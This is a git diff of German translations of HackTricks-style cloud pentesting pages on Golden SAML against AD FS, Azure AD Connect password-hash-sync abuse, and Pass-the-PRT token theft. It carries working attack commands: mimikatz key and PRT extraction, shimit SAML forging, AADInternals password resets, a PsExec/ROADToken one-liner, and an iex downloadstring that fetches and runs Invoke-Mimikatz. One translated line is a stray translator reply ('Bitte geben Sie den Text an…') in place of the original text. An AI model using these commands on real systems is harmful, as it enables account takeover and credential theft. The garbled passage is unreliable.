-Im Wesentlichen erfolgt in der Föderation alle **Authentifizierung** in der **lokalen** Umgebung und der Benutzer erlebt SSO über alle vertrauenswürdigen Umgebungen hinweg. Daher können Benutzer **auf** **Cloud**-Anwendungen zugreifen, indem sie ihre **lokalen Anmeldeinformationen** verwenden.
+Im Wesentlichen erfolgt in der Föderation die gesamte **Authentifizierung** in der **On-Premises**-Umgebung, und der Benutzer erlebt SSO über alle vertrauenswürdigen Umgebungen hinweg. Daher können Benutzer **Zugriff** auf **Cloud**-Anwendungen mit ihren **On-Premise-Anmeldeinformationen** erhalten.

-**Security Assertion Markup Language (SAML)** wird verwendet, um alle Authentifizierungs- und Autorisierungs-**informationen** zwischen den Anbietern **auszutauschen**.
+**Security Assertion Markup Language (SAML)** wird verwendet, um alle Authentifizierungs- und Autorisierungs-**informationen** zwischen den Anbietern auszutauschen.

-In jeder Föderationskonfiguration gibt es drei Parteien:
+In jeder Föderationseinrichtung gibt es drei Parteien:

 - Benutzer oder Client
 - Identitätsanbieter (IdP)
@@ -27,9 +27,9 @@ In jeder Föderationskonfiguration gibt es drei Parteien:
 1. Zunächst wird eine Anwendung (Dienstanbieter oder SP, wie die AWS-Konsole oder der vSphere-Webclient) von einem Benutzer aufgerufen. Dieser Schritt kann umgangen werden, sodass der Client direkt zum IdP (Identitätsanbieter) geleitet wird, abhängig von der spezifischen Implementierung.
 2. Anschließend identifiziert der SP den geeigneten IdP (z. B. AD FS, Okta) für die Benutzer-Authentifizierung. Er erstellt dann eine SAML (Security Assertion Markup Language) AuthnRequest und leitet den Client an den gewählten IdP weiter.
 3. Der IdP übernimmt und authentifiziert den Benutzer. Nach der Authentifizierung wird eine SAMLResponse vom IdP formuliert und über den Benutzer an den SP weitergeleitet.
-4. Schließlich bewertet der SP die SAMLResponse. Wenn sie erfolgreich validiert wird, was auf eine Vertrauensbeziehung mit dem IdP hinweist, erhält der Benutzer Zugriff. Dies markiert den Abschluss des Anmeldevorgangs, sodass der Benutzer den Dienst nutzen kann.
+4. Schließlich bewertet der SP die SAMLResponse. Wenn sie erfolgreich validiert wird, was eine Vertrauensbeziehung mit dem IdP impliziert, erhält der Benutzer Zugriff. Dies markiert den Abschluss des Anmeldeprozesses, der es dem Benutzer ermöglicht, den Dienst zu nutzen.

-**Wenn Sie mehr über SAML-Authentifizierung und gängige Angriffe erfahren möchten, gehen Sie zu:**
+**Wenn Sie mehr über SAML-Authentifizierung und häufige Angriffe erfahren möchten, gehen Sie zu:**

 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/saml-attacks
@@ -37,16 +37,16 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks

 ## Pivoting

- AD FS ist ein auf Ansprüchen basierendes Identitätsmodell.
- "..Ansprüche sind einfach Aussagen (zum Beispiel Name, Identität, Gruppe), die über Benutzer gemacht werden und hauptsächlich zur Autorisierung des Zugriffs auf auf Ansprüchen basierende Anwendungen verwendet werden, die überall im Internet zu finden sind."
- Ansprüche für einen Benutzer werden in den SAML-Token geschrieben und dann vom IdP signiert, um Vertraulichkeit zu gewährleisten.
- Ein Benutzer wird durch ImmutableID identifiziert. Sie ist global eindeutig und wird in Azure AD gespeichert.
- Die ImmutableID wird lokal als ms-DS-ConsistencyGuid für den Benutzer gespeichert und/oder kann aus der GUID des Benutzers abgeleitet werden.
+- AD FS ist ein claims-basiertes Identitätsmodell.
+- "..claims sind einfach Aussagen (zum Beispiel Name, Identität, Gruppe), die über Benutzer gemacht werden und hauptsächlich zur Autorisierung des Zugriffs auf claims-basierte Anwendungen verwendet werden, die überall im Internet zu finden sind."
+- Ansprüche für einen Benutzer werden innerhalb der SAML-Token geschrieben und dann vom IdP signiert, um Vertraulichkeit zu gewährleisten.
+- Ein Benutzer wird durch ImmutableID identifiziert. Es ist global eindeutig und wird in Azure AD gespeichert.
+- Die ImmutableID wird vor Ort als ms-DS-ConsistencyGuid für den Benutzer gespeichert und/oder kann aus der GUID des Benutzers abgeleitet werden.
 - Weitere Informationen unter [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)

 **Golden SAML-Angriff:**

- In ADFS wird die SAML Response von einem Token-Signaturzertifikat signiert.
+- In ADFS wird die SAML-Antwort mit einem Token-Signaturzertifikat signiert.
 - Wenn das Zertifikat kompromittiert ist, ist es möglich, sich als JEDER Benutzer, der mit Azure AD synchronisiert ist, bei Azure AD zu authentifizieren!
 - Genau wie bei unserem PTA-Missbrauch hat eine Passwortänderung für einen Benutzer oder MFA keine Auswirkungen, da wir die Authentifizierungsantwort fälschen.
 - Das Zertifikat kann mit DA-Rechten vom AD FS-Server extrahiert werden und kann dann von jedem internetverbundenen Gerät verwendet werden.
@@ -56,24 +56,24 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks

 Der Prozess, bei dem ein **Identitätsanbieter (IdP)** eine **SAMLResponse** zur Autorisierung der Benutzeranmeldung erstellt, ist von entscheidender Bedeutung. Abhängig von der spezifischen Implementierung des IdP kann die **Antwort** **signiert** oder **verschlüsselt** sein, wobei der **private Schlüssel des IdP** verwendet wird. Dieses Verfahren ermöglicht es dem **Dienstanbieter (SP)**, die Authentizität der SAMLResponse zu bestätigen und sicherzustellen, dass sie tatsächlich von einem vertrauenswürdigen IdP ausgestellt wurde.

-Eine Parallele kann zum [Golden Ticket-Angriff](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket) gezogen werden, bei dem der Schlüssel, der die Identität und Berechtigungen des Benutzers authentifiziert (KRBTGT für goldene Tickets, Token-Signatur-privater Schlüssel für golden SAML), manipuliert werden kann, um ein **Authentifizierungsobjekt** (TGT oder SAMLResponse) zu fälschen. Dies ermöglicht die Identitätsübernahme eines beliebigen Benutzers und gewährt unbefugten Zugriff auf den SP.
+Eine Parallele kann zum [Golden Ticket-Angriff](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket) gezogen werden, bei dem der Schlüssel, der die Identität und Berechtigungen des Benutzers authentifiziert (KRBTGT für goldene Tickets, Token-Signatur-Privatschlüssel für golden SAML), manipuliert werden kann, um ein **Authentifizierungsobjekt** (TGT oder SAMLResponse) zu fälschen. Dies ermöglicht die Identitätsübernahme eines beliebigen Benutzers und gewährt unbefugten Zugriff auf den SP.

 Golden SAMLs bieten bestimmte Vorteile:

 - Sie können **remote erstellt** werden, ohne Teil der betreffenden Domäne oder Föderation zu sein.
 - Sie bleiben auch mit aktivierter **Zwei-Faktor-Authentifizierung (2FA)** wirksam.
- Der Token-Signatur-**private Schlüssel erneuert sich nicht automatisch**.
- **Das Ändern des Passworts eines Benutzers macht eine bereits generierte SAML nicht ungültig**.
+- Der Token-Signatur-**Privatschlüssel erneuert sich nicht automatisch**.
+- **Ändern eines Benutzerpassworts macht eine bereits generierte SAML nicht ungültig**.

 #### AWS + AD FS + Golden SAML

 [Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) ist ein Microsoft-Dienst, der den **sicheren Austausch von Identitätsinformationen** zwischen vertrauenswürdigen Geschäftspartnern (Föderation) erleichtert. Er ermöglicht es im Wesentlichen einem Domänendienst, Benutzeridentitäten mit anderen Dienstanbietern innerhalb einer Föderation zu teilen.

-Mit AWS, das der kompromittierten Domäne (in einer Föderation) vertraut, kann diese Schwachstelle ausgenutzt werden, um potenziell **alle Berechtigungen in der AWS-Umgebung zu erwerben**. Der Angriff erfordert den **privaten Schlüssel**, der zur Signierung der SAML-Objekte verwendet wird, ähnlich wie beim Bedarf des KRBTGT in einem Golden Ticket-Angriff. Der Zugriff auf das AD FS-Benutzerkonto reicht aus, um diesen privaten Schlüssel zu erhalten.
+Wenn AWS der kompromittierten Domäne (in einer Föderation) vertraut, kann diese Schwachstelle ausgenutzt werden, um potenziell **alle Berechtigungen in der AWS-Umgebung zu erwerben**. Der Angriff erfordert den **Privatschlüssel**, der zum Signieren der SAML-Objekte verwendet wird, ähnlich wie beim Bedarf an KRBTGT in einem Golden Ticket-Angriff. Der Zugriff auf das AD FS-Benutzerkonto reicht aus, um diesen Privatschlüssel zu erhalten.

 Die Anforderungen für die Durchführung eines Golden SAML-Angriffs umfassen:

- **Token-Signatur-privater Schlüssel**
+- **Token-Signatur-Privatschlüssel**
 - **IdP-Öffentliches Zertifikat**
 - **IdP-Name**
 - **Rollenname (Rolle, die übernommen werden soll)**
@@ -83,7 +83,7 @@ Die Anforderungen für die Durchführung eines Golden SAML-Angriffs umfassen:

 _Nur die fettgedruckten Elemente sind obligatorisch. Die anderen können nach Belieben ausgefüllt werden._

-Um den **privaten Schlüssel** zu erwerben, ist der Zugriff auf das **AD FS-Benutzerkonto** erforderlich. Von dort aus kann der private Schlüssel **aus dem persönlichen Speicher exportiert** werden, indem Tools wie [mimikatz](https://github.com/gentilkiwi/mimikatz) verwendet werden. Um die anderen erforderlichen Informationen zu sammeln, können Sie das Microsoft.Adfs.Powershell-Snapin wie folgt verwenden, wobei Sie sicherstellen, dass Sie als ADFS-Benutzer angemeldet sind:
+Um den **Privatschlüssel** zu erwerben, ist der Zugriff auf das **AD FS-Benutzerkonto** erforderlich. Von dort aus kann der Privatschlüssel **aus dem persönlichen Speicher exportiert** werden, indem Tools wie [mimikatz](https://github.com/gentilkiwi/mimikatz) verwendet werden. Um die anderen erforderlichen Informationen zu sammeln, können Sie das Microsoft.Adfs.Powershell-Snapin wie folgt verwenden, wobei Sie sicherstellen, dass Sie als ADFS-Benutzer angemeldet sind:
 ```powershell
 # From an "AD FS" session
 # After having exported the key with mimikatz
@@ -114,7 +114,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
 ```
 <figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>

-### On-prem -> cloud
+### On-prem -> Cloud
 ```powershell
 # With a domain user you can get the ImmutableID of the target user
 [System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
@@ -1,29 +1,29 @@
-# Az - PHS - Password Hash Sync
+# Az - PHS - Passwort-Hash-Synchronisierung

 {{#include ../../../../banners/hacktricks-training.md}}

-## Grundlegende Informationen
+## Grundinformationen

-[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password Hash Synchronization** ist eine der Anmeldemethoden, die verwendet wird, um hybride Identität zu erreichen. **Azure AD Connect** synchronisiert einen Hash, des Hashes, des Passworts eines Benutzers von einer lokalen Active Directory-Instanz zu einer cloudbasierten Azure AD-Instanz.
+[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Passwort-Hash-Synchronisierung** ist eine der Anmeldemethoden, die verwendet wird, um hybride Identität zu erreichen. **Azure AD Connect** synchronisiert einen Hash, des Hashes, des Passworts eines Benutzers von einer lokalen Active Directory-Instanz zu einer cloudbasierten Azure AD-Instanz.

 <figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>

 Es ist die **häufigste Methode**, die von Unternehmen verwendet wird, um ein lokales AD mit Azure AD zu synchronisieren.

 Alle **Benutzer** und ein **Hash der Passwort-Hashes** werden vom lokalen AD zu Azure AD synchronisiert. Allerdings werden **Klartext-Passwörter** oder die **ursprünglichen** **Hashes** nicht an Azure AD gesendet.\
-Darüber hinaus werden **eingebaute** Sicherheitsgruppen (wie Domänenadministratoren...) **nicht synchronisiert** mit Azure AD.
+Darüber hinaus werden **eingebaute** Sicherheitsgruppen (wie Domänenadministratoren...) **nicht mit** Azure AD synchronisiert.

-Die **Hash-Synchronisation** erfolgt alle **2 Minuten**. Standardmäßig werden jedoch **Passwortablauf** und **Kontenablauf** **nicht synchronisiert** in Azure AD. Ein Benutzer, dessen **lokales Passwort abgelaufen ist** (nicht geändert), kann weiterhin **auf Azure-Ressourcen zugreifen** mit dem alten Passwort.
+Die **Hash-Synchronisierung** erfolgt alle **2 Minuten**. Standardmäßig werden jedoch **Passwortablauf** und **Kontenablauf** **nicht synchronisiert** in Azure AD. Ein Benutzer, dessen **lokales Passwort abgelaufen ist** (nicht geändert), kann weiterhin **auf Azure-Ressourcen zugreifen** mit dem alten Passwort.

 Wenn ein lokaler Benutzer auf eine Azure-Ressource zugreifen möchte, erfolgt die **Authentifizierung in Azure AD**.

-**PHS** ist erforderlich für Funktionen wie **Identity Protection** und AAD-Domänendienste.
+**PHS** ist erforderlich für Funktionen wie **Identitätsschutz** und AAD-Domänendienste.

 ## Pivotierung

 Wenn PHS konfiguriert ist, werden einige **privilegierte Konten** automatisch **erstellt**:

- Das Konto **`MSOL_<installationID>`** wird automatisch im lokalen AD erstellt. Dieses Konto erhält eine **Directory Synchronization Accounts**-Rolle (siehe [Dokumentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), was bedeutet, dass es **Replikationsberechtigungen (DCSync) im lokalen AD** hat.
+- Das Konto **`MSOL_<installationID>`** wird automatisch im lokalen AD erstellt. Dieses Konto erhält eine **Rolle für Verzeichnis-Synchronisationskonten** (siehe [Dokumentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), was bedeutet, dass es **Replikationsberechtigungen (DCSync) im lokalen AD** hat.
 - Ein Konto **`Sync_<Name des lokalen ADConnect-Servers>_installationID`** wird in Azure AD erstellt. Dieses Konto kann das Passwort von **JEDEM Benutzer** (synchronisiert oder nur Cloud) in Azure AD **zurücksetzen**.

 Die Passwörter der beiden vorherigen privilegierten Konten werden **in einem SQL-Server** auf dem Server gespeichert, auf dem **Azure AD Connect installiert ist.** Administratoren können die Passwörter dieser privilegierten Benutzer im Klartext extrahieren.\
@@ -82,7 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA

 # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
 ```
-Es ist auch möglich, **die Passwörter nur von Cloud**-Benutzern zu **ändern** (auch wenn das unerwartet ist)
+Es ist auch möglich, **die Passwörter von nur Cloud**-Benutzern zu **ändern** (auch wenn das unerwartet ist).
 ```powershell
 # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
 # The CloudAnchor is of the format USER_ObjectID.
@@ -94,17 +94,17 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
 Es ist auch möglich, das Passwort dieses Benutzers zu dumpen.

 > [!CAUTION]
-> Eine andere Option wäre, **privilegierte Berechtigungen für ein Dienstprinzipal zuzuweisen**, was der **Sync**-Benutzer **berechtigt** ist zu tun, und dann **auf dieses Dienstprinzipal zuzugreifen** als eine Möglichkeit der Privilegieneskalation.
+> Eine weitere Option wäre, **privilegierte Berechtigungen für ein Dienstprinzipal zuzuweisen**, was der **Sync**-Benutzer **berechtigt** ist zu tun, und dann **auf dieses Dienstprinzipal zuzugreifen** als eine Möglichkeit zur Privilegieneskalation.

-### Nahtloses SSO
+### Seamless SSO

-Es ist möglich, nahtloses SSO mit PHS zu verwenden, das anfällig für andere Missbräuche ist. Überprüfen Sie es in:
+Es ist möglich, Seamless SSO mit PHS zu verwenden, das anfällig für andere Missbräuche ist. Überprüfen Sie es in:

 {{#ref}}
 seamless-sso.md
 {{#endref}}

-## Referenzen
+## References

 - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
 - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -16,13 +16,13 @@ Im Abschnitt SSO-Status sollten Sie sehen, dass **`AzureAdPrt`** auf **JA** gese

 <figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>

-In der gleichen Ausgabe können Sie auch sehen, ob das **Gerät mit Azure verbunden ist** (im Feld `AzureAdJoined`):
+Im gleichen Output können Sie auch sehen, ob das **Gerät mit Azure verbunden ist** (im Feld `AzureAdJoined`):

 <figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>

 ## PRT-Cookie

-Das PRT-Cookie wird tatsächlich **`x-ms-RefreshTokenCredential`** genannt und es ist ein JSON Web Token (JWT). Ein JWT enthält **3 Teile**, den **Header**, **Payload** und **Signature**, getrennt durch einen `.` und alle url-sicher base64 kodiert. Ein typisches PRT-Cookie enthält den folgenden Header und Body:
+Das PRT-Cookie wird tatsächlich **`x-ms-RefreshTokenCredential`** genannt und es ist ein JSON Web Token (JWT). Ein JWT enthält **3 Teile**, den **Header**, **Payload** und **Signature**, die durch einen `.` getrennt und alle url-sicher base64 kodiert sind. Ein typisches PRT-Cookie enthält den folgenden Header und Body:
 ```json
 {
 "alg": "HS256",
@@ -34,24 +34,24 @@ Das PRT-Cookie wird tatsächlich **`x-ms-RefreshTokenCredential`** genannt und e
 "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
 }
 ```
-Der tatsächliche **Primary Refresh Token (PRT)** ist innerhalb des **`refresh_token`** kapsuliert, der durch einen Schlüssel, der unter der Kontrolle von Azure AD steht, verschlüsselt ist, wodurch sein Inhalt für uns undurchsichtig und nicht entschlüsselbar wird. Das Feld **`is_primary`** zeigt die Kapselung des primären Refresh-Tokens innerhalb dieses Tokens an. Um sicherzustellen, dass das Cookie an die spezifische Anmeldesitzung gebunden bleibt, für die es bestimmt ist, wird der `request_nonce` von der Seite `logon.microsoftonline.com` übertragen.
+Der tatsächliche **Primary Refresh Token (PRT)** ist innerhalb des **`refresh_token`** kapsuliert, das durch einen Schlüssel verschlüsselt ist, der unter der Kontrolle von Azure AD steht, wodurch sein Inhalt für uns undurchsichtig und nicht entschlüsselbar ist. Das Feld **`is_primary`** zeigt die Kapselung des primären Refresh-Tokens innerhalb dieses Tokens an. Um sicherzustellen, dass das Cookie an die spezifische Anmeldesitzung gebunden bleibt, für die es bestimmt ist, wird der `request_nonce` von der Seite `logon.microsoftonline.com` übertragen.

-### PRT Cookie-Fluss unter Verwendung von TPM
+### PRT-Cookie-Flow unter Verwendung von TPM

-Der **LSASS**-Prozess sendet den **KDF-Kontext** an das TPM, und das TPM verwendet den **Sitzungsschlüssel** (der beim Registrieren des Geräts in AzureAD gesammelt und im TPM gespeichert wurde) und den vorherigen Kontext, um einen **Schlüssel abzuleiten**, und dieser **abgeleitete Schlüssel** wird verwendet, um das **PRT-Cookie (JWT)** zu **signieren**.
+Der **LSASS**-Prozess sendet den **KDF-Kontext** an das TPM, und das TPM verwendet den **Session-Schlüssel** (der beim Registrieren des Geräts in AzureAD gesammelt und im TPM gespeichert wurde) und den vorherigen Kontext, um einen **Schlüssel abzuleiten**, und dieser **abgeleitete Schlüssel** wird verwendet, um das **PRT-Cookie (JWT)** zu **signieren**.

-Der **KDF-Kontext ist** ein Nonce von AzureAD und das PRT, das einen **JWT** gemischt mit einem **Kontext** (Zufallsbytes) erstellt.
+Der **KDF-Kontext ist** ein Nonce von AzureAD und der PRT, der einen **JWT** gemischt mit einem **Kontext** (zufällige Bytes) erstellt.

-Daher, selbst wenn das PRT nicht extrahiert werden kann, weil es sich im TPM befindet, ist es möglich, LSASS zu missbrauchen, um **abgeleitete Schlüssel aus neuen Kontexten anzufordern und die generierten Schlüssel zu verwenden, um Cookies zu signieren**.
+Daher, selbst wenn der PRT nicht extrahiert werden kann, weil er sich im TPM befindet, ist es möglich, LSASS zu missbrauchen, um **abgeleitete Schlüssel aus neuen Kontexten anzufordern und die generierten Schlüssel zu verwenden, um Cookies zu signieren**.

 <figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>

 ## PRT-Missbrauchsszenarien

 Als **normaler Benutzer** ist es möglich, **PRT-Nutzung anzufordern**, indem man LSASS nach SSO-Daten fragt.\
-Dies kann wie bei **nativem Apps** geschehen, die Tokens vom **Web Account Manager** (Token-Broker) anfordern. WAM leitet die Anfrage an **LSASS** weiter, das Tokens mit einer signierten PRT-Assertion anfordert. Oder es kann mit **browserbasierten (Web-)Flüssen** geschehen, bei denen ein **PRT-Cookie** als **Header** verwendet wird, um Anfragen an die Anmeldeseiten von Azure AS zu authentifizieren.
+Dies kann wie bei **nativem Apps** geschehen, die Tokens vom **Web Account Manager** (Token-Broker) anfordern. WAM leitet die Anfrage an **LSASS** weiter, das Tokens mit einer signierten PRT-Assertion anfordert. Oder es kann mit **browserbasierten (Web-)Flows** geschehen, bei denen ein **PRT-Cookie** als **Header** verwendet wird, um Anfragen an die Anmeldeseiten von Azure AS zu authentifizieren.

-Als **SYSTEM** könnten Sie den **PRT stehlen, wenn er nicht durch TPM geschützt ist**, oder **mit PRT-Schlüsseln in LSASS interagieren** unter Verwendung von Krypto-APIs.
+Als **SYSTEM** könnten Sie den PRT **stehlen, wenn er nicht durch TPM geschützt ist** oder **mit PRT-Schlüsseln in LSASS interagieren**, indem Sie Krypto-APIs verwenden.

 ## Pass-the-PRT-Angriff Beispiele

@@ -84,11 +84,11 @@ Dann können Sie [**roadtoken**](https://github.com/dirkjanm/ROADtoken) verwende
 ```powershell
 .\ROADtoken.exe <nonce>
 ```
-Als Einzeiler:
+Bitte geben Sie den Text an, den Sie übersetzen möchten.
 ```powershell
 Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
 ```
-Dann können Sie das **generierte Cookie** verwenden, um **Token** zu **generieren**, um sich über Azure AD **Graph** oder Microsoft Graph **anzumelden**:
+Dann können Sie das **generierte Cookie** verwenden, um **Tokens** zu **generieren**, um sich mit Azure AD **Graph** oder Microsoft Graph **anzumelden**:
 ```powershell
 # Generate
 roadrecon auth --prt-cookie <prt_cookie>
@@ -136,7 +136,7 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
 # Verify access and connect with Az. You can see account id in mimikatz prt output
 Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
 ```
-Gehe zu [https://login.microsoftonline.com](https://login.microsoftonline.com), lösche alle Cookies für login.microsoftonline.com und gib ein neues Cookie ein.
+Gehe zu [https://login.microsoftonline.com](https://login.microsoftonline.com), lösche alle Cookies für login.microsoftonline.com und füge ein neues Cookie hinzu.
 ```
 Name: x-ms-RefreshTokenCredential
 Value: [Paste your output from above]
@@ -153,12 +153,12 @@ Dann gehen Sie zu [https://portal.azure.com](https://portal.azure.com)
 #### Schritte

 1. Der **PRT (Primary Refresh Token) wird aus LSASS** (Local Security Authority Subsystem Service) extrahiert und für die spätere Verwendung gespeichert.
-2. Der **Session Key wird als nächstes extrahiert**. Da dieser Schlüssel zunächst ausgegeben und dann vom lokalen Gerät erneut verschlüsselt wird, ist eine Entschlüsselung mit einem DPAPI-Masterkey erforderlich. Detaillierte Informationen zu DPAPI (Data Protection API) finden Sie in diesen Ressourcen: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) und für ein Verständnis seiner Anwendung, siehe [Pass-the-cookie attack](az-pass-the-cookie.md).
+2. Der **Session Key wird als nächstes extrahiert**. Da dieser Schlüssel zunächst ausgegeben und dann vom lokalen Gerät erneut verschlüsselt wird, ist eine Entschlüsselung mit einem DPAPI-Masterkey erforderlich. Detaillierte Informationen zu DPAPI (Data Protection API) finden Sie in diesen Ressourcen: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) und für ein Verständnis seiner Anwendung siehe [Pass-the-cookie attack](az-pass-the-cookie.md).
 3. Nach der Entschlüsselung des Session Keys werden der **abgeleitete Schlüssel und der Kontext für den PRT erhalten**. Diese sind entscheidend für die **Erstellung des PRT-Cookies**. Insbesondere wird der abgeleitete Schlüssel verwendet, um das JWT (JSON Web Token), das das Cookie bildet, zu signieren. Eine umfassende Erklärung dieses Prozesses wurde von Dirk-jan bereitgestellt und ist [hier](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) zugänglich.

 > [!CAUTION]
 > Beachten Sie, dass, wenn der PRT im TPM und nicht in `lsass` ist, **mimikatz ihn nicht extrahieren kann**.\
-> Es wird jedoch möglich sein, einen **Schlüssel aus einem abgeleiteten Schlüssel aus einem Kontext** aus dem TPM zu erhalten und ihn zu verwenden, um ein **Cookie zu signieren (siehe Option 3).**
+> Es wird jedoch möglich sein, einen **Schlüssel aus einem abgeleiteten Schlüssel aus einem Kontext** aus dem TPM zu erhalten und ihn zu verwenden, um **ein Cookie zu signieren (siehe Option 3).**

 Sie finden eine **detaillierte Erklärung des durchgeführten Prozesses**, um diese Details hier zu extrahieren: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)

@@ -175,19 +175,19 @@ Sekurlsa::cloudap
 iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
 Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
 ```
-(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
+(Images von https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

 <figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>

 **Kopiere** den Teil, der mit **Prt** gekennzeichnet ist, und speichere ihn.\
-Extrahiere auch den Sitzungsschlüssel (den **`KeyValue`** des **`ProofOfPossesionKey`**-Feldes), den du unten hervorgehoben sehen kannst. Dieser ist verschlüsselt und wir müssen unsere DPAPI-Masterkeys verwenden, um ihn zu entschlüsseln.
+Extrahiere auch den Sitzungsschlüssel (den **`KeyValue`** des **`ProofOfPossesionKey`** Feldes), den du unten hervorgehoben sehen kannst. Dieser ist verschlüsselt und wir müssen unsere DPAPI-Masterkeys verwenden, um ihn zu entschlüsseln.

 <figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>

 > [!NOTE]
 > Wenn du keine PRT-Daten siehst, könnte es sein, dass du **keine PRTs hast**, weil dein Gerät nicht mit Azure AD verbunden ist, oder es könnte sein, dass du **eine alte Version** von Windows 10 verwendest.

-Um den Sitzungsschlüssel zu **entschlüsseln**, musst du deine Berechtigungen auf **SYSTEM** **erhöhen**, um im Computer-Kontext zu arbeiten und den **DPAPI-Masterkey zur Entschlüsselung zu verwenden**. Du kannst die folgenden Befehle verwenden, um dies zu tun:
+Um den Sitzungsschlüssel zu **entschlüsseln**, musst du deine Berechtigungen auf **SYSTEM** **erhöhen**, um im Kontext des Computers zu arbeiten, damit du den **DPAPI-Masterkey zur Entschlüsselung verwenden kannst**. Du kannst die folgenden Befehle verwenden, um dies zu tun:
 ```
 token::elevate
 dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
@@ -219,16 +219,16 @@ HttpOnly: Set to True (checked)
 ```
 - Gehe dann zu [https://portal.azure.com](https://portal.azure.com)

-> [!CAUTION]
+> [!VORSICHT]
 > Der Rest sollte die Standardwerte sein. Stelle sicher, dass du die Seite aktualisieren kannst und das Cookie nicht verschwindet. Wenn es verschwindet, hast du möglicherweise einen Fehler gemacht und musst den Prozess erneut durchlaufen. Wenn nicht, solltest du in Ordnung sein.

 #### Option 2 - roadrecon mit PRT

- Erneuere zuerst das PRT, das in `roadtx.prt` gespeichert wird:
+- Erneuere zuerst das PRT, das es in `roadtx.prt` speichern wird:
 ```bash
 roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
 ```
- Jetzt können wir **Tokens anfordern**, indem wir den interaktiven Browser mit `roadtx browserprtauth` verwenden. Wenn wir den Befehl `roadtx describe` verwenden, sehen wir, dass das Zugriffstoken einen MFA-Anspruch enthält, da der PRT, den ich in diesem Fall verwendet habe, ebenfalls einen MFA-Anspruch hatte.
+- Jetzt können wir **Token anfordern**, indem wir den interaktiven Browser mit `roadtx browserprtauth` verwenden. Wenn wir den Befehl `roadtx describe` verwenden, sehen wir, dass das Zugriffstoken einen MFA-Anspruch enthält, da der PRT, den ich in diesem Fall verwendet habe, ebenfalls einen MFA-Anspruch hatte.
 ```bash
 roadtx browserprtauth
 roadtx describe < .roadtools_auth